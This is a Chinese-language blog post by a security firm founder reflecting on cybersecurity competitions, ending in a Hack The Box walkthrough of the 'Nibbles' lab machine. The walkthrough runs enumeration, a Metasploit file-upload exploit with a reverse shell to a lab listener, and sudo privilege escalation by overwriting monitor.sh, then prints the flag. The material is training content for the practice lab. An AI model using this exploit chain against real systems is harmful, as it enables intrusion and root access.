平衡計分卡
Founder since 2020.8.31 新心資安科技公司提供資安服務、資料救援與備份、EAP小能手員工協助方案; 歡迎來自香港的朋友在博客來選購右方的資安書電子版或者買實體書送到香港7-11
近三年參與的資安攻防競賽
前言
你的時間在那裡,成就就在那裡。吸引力法則的運作方法是,永遠要談論妳想要的事,不會談論你想避開的事。時時感謝、努力不懈,是我創業五年多來,最常在做的事。新心資安是小微企業,資源不多,當同行都在補習、考照之時,我最常做的事就是花1000塊、1600塊以小博大。
但是就像在冰天雪地裡面,數學家憑著一枝筆也能推導數學,在資安領域裡面,特別適合像我們公司這樣提供資安勞務的公司,我們是資安的傳教士,努力走在資安的前沿,然後為各行各業的先進們培力。
攻防演練,是2023年以來,新增加的一個技能,這是沿續筆者取得了Linux的ITE證照,紮實的學習了Linux後的策略布局,有了Linux和虛擬主機,我們再把辦公室的主機提升到40GB的記憶體,跑Kali已經很夠用。
初始
時間:2023年9月3日
平台:TRAPA Cyber Range
地點:國家資通安全研究院
比賽名稱:112年度網路威脅防禦競賽
性質:防守
心得:從2025年11月回想起來,2023年的這場網路威脅競賽,就像一場夢一樣。很多現在身邊的好朋友,都是這場比賽(和56小時的課程)的同學。各路神仙,像是Peter、Jimmy、志合、ADR老師、寛寛老師、鄭主任、Mars老師、郁志老師、仁甫老師。以及從這些人脈衍生的唐理事長、方丈。這場比賽與其說是資安技術的大觀園,不如說是一個奇妙的旅程,讓我可以用近乎零成本,親炙台灣頂尖資安專家的各種研究成果。
還記得要開課時,我很緊張的跟毛博士借筆記型電腦,因為他的筆電有40GB RAM,我的筆電只有8GB,而上課要用到3個VM才跑的起來。令人感到有趣的,是這個軟體後來對毛博的事業也有幫助。
國家資通安全研究院,在我參加的這一期後,就不再有56小時的班了。而在課程的最後一天,我們是做TRAPA菱鏡的Cyber Range競賽,系統會灌入一段時間的日誌,而我們的工作就是扮演藍隊,找出日誌背後駭客的足跡。60個人參訓,2個人一組,總共有30組。
那時我還不熟Cyber Range,只想著要建立起網路拓撲圖,把系統有那些機器整理出來,再一一的來看日誌。日誌是用Splunk的系統,很強的一套SIEM系統,能夠把Windows主機、郵件主機、Linux主機等不同格式的日誌都收集起來,並且能夠用勾選的方式來查詢。美中不足之處,那時我對介面還不熟,像是Windows主機有分成記憶體、網路、程式等輸出,那時我還不知道,一直找不到答案。
結果就在一片忙亂之中,比賽結束了,志合和我一組,我們解出了3、4個問題。來自公部門的一個團隊,獲得第一名。從這個競賽,我等於得到了技術面的入場券,因為我在大專院校一直是教資管系,很少教資工系,這個課程豐富了我對於「駭客」的想像,我知道自己並不孤單,這是我在這個比賽裡的心得。
時間:20240612-17
平台:Secure Code Warrior
地點:叡揚資訊股份有限公司
性質:防守
心得:中間隔了一年,才有機會再打CTF(Catch The Flag),叡揚資訊是代理Secure Code Warrioru並中文化,這個平台有超過20-30種的程式語言,以OWASP Top 10的常見資安漏洞做為撰寫依據。讓使用者可以很方便的從選項中來選擇想修補的程式碼,並且在試誤中充實自己的安全程式設計功力。這個平台唯一的缺點就是如果練習的結束不錯,想要購買時,它的價格比較貴。
我選擇的程式語言是Php+Mysql。時間有一整個星期,算是相對充裕,所以我就把程式碼一行行存下來研究,避免以偏概全。並且把正確程式的畫面抓下來研究。我必須說,直到1年後的現在,我對於php在十大弱點的掌握度還不太夠,但是還好有Copilot、ChatGPT、GEMINI等AI工具的協助,我現在星期日都固定抽時間來撰寫一本php+mysql的安全程式設計的書。2025年OWASP的TOP 10清單有變化,需要再補強。而我也在修修改改中,一點點用visual stuido code和AI,建立自己的資安書和資安筆記。
其實Secure Code Warriors真的很適合有一整個團隊的資安公司發展、代理,很樂見國內有這樣好的產品。而我的書預計2026年會編目上市,屆時希望我的安全程式設計能力有所進展。
種子選拔賽
時間:2024年7月26日
平台:TRAPA Cyber Range
地點:台灣台北
比賽名稱: 2024 企業藍隊競賽HITCON
Cyber Range
性質:防守
主辦單位:HITCON
TRAPA很多,對吧?這家公司賺翻了。厲害的地方在於他們串接資源的能力,以及辦活動。這場是線上賽,在短時間裡面要找出20個問題的答案。其實我沒待過SOC(資安威脅應變中心),但是我有很長時間在做Windows 平台的日誌分析,也管過網站。
不過,遺憾的是,這個比賽我沒有得名,不過我已經越來越能夠抓住TRAPA的節奏了,一開始就先建立機器資料,然後開始解題,卡住就再試誤。能夠得名的人真的很不容易,衷心祝福他(她)們。
第一年當攻防檢測員
時間:2024年8月13日-8月20日
平台:Kali
地點:台灣台北
比賽名稱:113年度教育體系資安攻防演練之攻防檢測員
性質:攻擊
主辦單位:教育體系資安檢測技術服務中心
這個比賽讓我很傷心,因為我用Sodan搜尋出來的網站弱點,都被宣告為資訊類漏洞不計分。主辦單位說要實際攻擊或取得資料才能計分。於是我就慢下來,開始努力的做漏洞資料庫,找概念驗證程式。但是我發現現有的漏洞,能找到的資料很少。所以我這個年度是一無所獲,但是我相信自己,一年會比一年好。
長達一星期的TRAPA
時間:2025年1月13日-1月19日
平台:TRAPA CyberRange
地點:台灣台北
比賽名稱:114年度VLAB*TRAPA全員備戰:線上藍隊平台體驗活動
性質:防守
主辦單位:Vlab
這個比賽是我唯一參加Trapa的平台,能夠將題目全部解出來的。因為活動期間長達一星期。我有試著將平台的紀錄檔都下載下來,用Notebooklm分析,但效果很差。於是我改變策略,一題一題的試,還好時間真的很充份,讓我有機會把21題都解出來。
TRAPA的平台,可以讓人一再參與而不生厭,很大的程度是因為他們每一段時間就會更新題目,並且平台的使用充滿挑戰性,每當解答順利的那一瞬間,所有的辛苦就都值得了。
能夠坐在自己的桌子前,冷靜的分析每個電腦所扮演的角色,一星期的充份時間扮演著很大的角色,尤其是沒有立即要得出比賽結果的壓力,可以網路搜尋,可以試誤,這次參與我學到很多。
第二年當攻防檢測員
時間:2025年7月1日-8月10日
平台:Kali Linux
地點:台灣台北
比賽名稱:114年度教育體系資安攻防演練之攻防檢測員
性質:攻擊
114年是我第二次應邀參加教育體系的攻防檢測員,攻打各大專院校的網站,做滲透測試。今年我開始做一件事,用程式來分析Shodan找到的漏洞,並且分析在Metasploit中是否有可以利用的攻擊程式。今年四天的四個場次,我都在做這件事。其實四天裡面我沒有找到高價值漏洞,但衍生出一個想法,如果能夠建好漏洞利用程式資料庫,就可以快速的來攻擊網站。
這個構想在活動結束,我開始註冊Hack The Box平台有系統學習
滲透試後,我發現他們的想法和我很像,但是他們是先偵測目標機器所使用的軟體版本,然後在Google上搜尋爆破程式。但是因為練習的主機通常是有特地的老舊軟體版本,所以只能做為參考。如果明年要發揮戰力,還是要有自己的POC資料庫。
TRAPA聽講解
時間:2025年9月12日
平台:TRAPA Cyber Range
地點:台灣台北
比賽名稱:TW-ISAC 2025企業藍隊演練
舉辦單位:台灣電腦網路危機處理暨協調中心
性質:防守
TWNIC邀請我參加企業藍隊活動。我對於日誌記錄檔的數位鑑識,慢慢的有自己的一點心得了。這場活動印象最深的是,會後TRAPA的原廠工程師詳細的介紹了自家產品在這次活動中的21個題目。看著他們解答,我真的覺得要在一個下午裡面全解出來似乎是不可能的任務。尤其是有一題,要將200多條記錄檔拼接在一起才能看出有用的訊息。
但是看原廠解題的確是很有創意。他們會從APT團隊慣用的手法下去拆解可能的應對方向,真的是會用到Mitre Att&CK的網站資料。還有駭客入侵時的紀錄檔也是越來越不容易分析了,這場比賽讓我覺得雖然我只能解出二題,但是有機會標準化環境、會使用Splunk的各項功能,這樣就不虛此行了。文未順帶一提,本來是要放棄這個活動的,但是臨時起意還是去參加,因為本來是二人一組報名,但是只有我有空,所以打電話去問,發現還是可以一個人出席,於是我就去參加了。
近況
時間:2025年11月15日
平台:Venom Web Site
地點:台灣台北
比賽名稱:VenomCTF競賽
性質:攻擊
怠惰有一段時間了,忙著寫書,把CTF實戰書的進度擱了下來。剛好前天和作者聊天時,作者邀約我到這個網站上來練練。於是我就註冊了一個帳號,這個平台是12小時,早上8點打到晚上8點。有AI平台、WEB、PWN、MISC、逆向工程等題目。我登入進去後,只有一個感覺:「我在那裡?」「我要做什麼?」
於是我默默的登出網站,再把CTF實戰書拿出來練習,因為我知道,臨潤羡魚不如退而結網。CTF真的還是我待發展的技能。再加上我的網路環境有一台UTM防火牆,有很多Kali的指令都會被攔下來。其實經過二個月Hack the Box的練習,我已經對滲透測試的指令和標準步驟有點熟悉。但在Venum
CTF中這些技能派不上用場。
不要急,只要相信,上帝會引領我們,走向他所命令的未來。葉問在二次大戰時躲避戰亂,逃到香港開武館,第一個面對的就是各家武館師傅的挑戰。在資安業界還好我運氣不錯,很少被質疑。這也有可能是因為我是從資訊轉資安,有過應用程式和程式語言的基礎,再加上運氣不錯。
能在CTF比賽中獲勝的這些強者真的不簡單,看著他們的成就,我2027年有了發展的目標。2026年會先發展滲透測試能力,2027年就該發展CTF能力了。黃仁勲說,我們和專家的距離,很多時候只是一本書的距離。一直感覺最近好忙,撰寫IPAS資安工程師中級和初級的教材,以及改版高普考資通安全書的工作負荷,吃掉了我大部分的工作時間。
但是想做會找到解決方法,不想做會找到藉口,等我IPAS和高普考書忙完,2026年我還會再撥星期六日的時間來強化CTF能力。畢竟只有當機會來臨時,我們已經準備好,這樣才能捉住機會。
risk treatment Hi 很酷的ISO27001 資安管理系統的風險管理分析系統 需配合XAMPP等LAMP框架 筆者接觸ISO27001有十多年了,直到AI盛行,才有機會將這個概念實現
程式碼開源,下載處如下,新心資安可到貴公司開課教授這個系統和ISO27001的結合如何使用,三小時課程,價格請洽詢
https://github.com/eapdb/iso27001
會接到這個課程,是一個偶然。10月有一天我正在新北市立圖書館借書的時候,接到群科中心劉老師的電話邀請,因為我去年錄了資安署的行動支付課程。我一接到電話時很開心,因為主耶穌有聽到我的呼求,讓我有機會多接觸各方人仕。
課程準備的過程也是一個挑戰,因為要從手機投影到電腦營幕,我學會了用AirDroid來投影,並解決不同區域網路的投影、支付軟體預設不支援投影等問題。
到了當天,二小時的課程,中間我都沒有休息。我在到台師大教室的路上買了一瓶2000CC的可口可樂,然後就開始講行動支付,有行動支付工具的使用、行動支付的資安二方面。老師們比他們的學生還要認真,對於新知識的渴求,讓人印象深刻。
11點準時完成課程,感謝群科中心所有工作人員與參與教師,我也開了Discord,歡迎有看到這篇貼文的業界先進和當天上課的老師們,都可以做後續的連繫。
https://discord.com/invite/FbCQHDHGz3
##當我們要枚舉靶機所有開放的埠ports的時候,可以用-p-來執行,但速度太慢
##所以我們可以掃tcp的前1000埠來代替
┌─[eu-academy-6]─[]─[]─[~]
└──╼ [★]$ nmap 10.129.196.222 -sS -oA target
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-27 07:47 CDT
Nmap scan report for 10.129.196.222
Host is up (0.051s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
31337/tcp open Elite
##注意-oA target 代表將結果用各種型態的檔案類別來儲存,檔名前面加上target
##然後用ls指令來看,確實有儲存
┌─[eu-academy-6]─[]─[]─[~]
└──╼ [★]$ ls
cacert.der Downloads Public target.xml tnet.nmap
Desktop Music target.gnmap Templates tnet.xml
Documents Pictures target.nmap tnet.gnmap Videos
##接著執行xsltproc執行,將xml檔案轉換成html檔案
┌─[eu-academy-6]─[]─[]─[~]
└──╼ [★]$ xsltproc target.xml -o target.html
環境介紹:
本機(Local)10.10.15.143
靶機(Target--Nibbles) 10.129.200.170
┌─[eu-academy-6]─[10.10.15.143]─[htb-ac-2034323@htb-q0izyqfsj2]─[~]
└──╼ [★]$ whatweb 10.129.200.170
http://10.129.200.170 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.200.170]
┌─[eu-academy-6]─[10.10.15.143]─[htb-ac-2034323@htb-q0izyqfsj2]─[~]
└──╼ [★]$ curl 10.129.200.170
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
從這個網頁可以看到提示 有nibbleblog目錄
gobuster dir -u http://10.129.200.170/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
http://10.129.200.170/nibbleblog/content/
目錄瀏覽
看到這個設定檔,不禁讓我們想到密碼可能是nibbles
http://10.129.200.170/nibbleblog/content/private/config.xml
<name type="string">Nibbles</name>
<notification_email_to type="string">admin@nibbles.com</notification_email_to>
##進入msf
┌─[eu-academy-6]─[10.10.15.143]─[htb-ac-2034323@htb-q0izyqfsj2]─[~]
└──╼ [★]$ msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session
_---------.
.' ####### ;."
.---,. ;@ @@`; .---,..
." @@@@@'.,'@@ @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'
"--'.@@@ -.@ @ ,'- .'--"
".@' ; @ @ `. ;'
|@@@@ @@@ @ .
' @@@ @@ @@ ,
`.@@@@ @@ .
',@@ @ ; _____________
( 3 C ) /|___ / Metasploit! \
;@'. __*__,." \|--- \_____________/
'(.,...."/
=[ metasploit v6.4.71-dev ]
+ -- --=[ 2529 exploits - 1302 auxiliary - 431 post ]
+ -- --=[ 1669 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
##搜尋nibbleblog弱點
[msf](Jobs:0 Agents:0) >> search nibbleblog
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Yes Nibbleblog File Upload Vulnerability
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload
##使用弱點
[msf](Jobs:0 Agents:0) >> use 0
msf6 exploit(multi/http/nibbleblog_file_upload) > show options
Module options (exploit/multi/http/nibbleblog_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD nibbles yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.129.42.190 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI nibbleblog yes The base path to the web application
USERNAME admin yes The username to authenticate with
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nibbleblog 4.0.3
##爆破
msf6 exploit(multi/http/nibbleblog_file_upload) > exploit
##取得能解壓縮的命令列
(Meterpreter 1)(/home/nibbler) > shell
##查看有特權的使用者和目錄
sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
pwd
/home/nibbler
ls
personal.zip
user.txt
##執行解壓縮
unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
ls
personal
personal.zip
user.txt
cd personal
ls
stuff
cd stuff
ls
monitor.sh
#將執行root的指令覆蓋monitor.sh
echo 'cat /root/root.txt' > monitor.sh
##執行指令
sudo ./monitor.sh
##取得flag
de5e5d6619862a8aa5b9b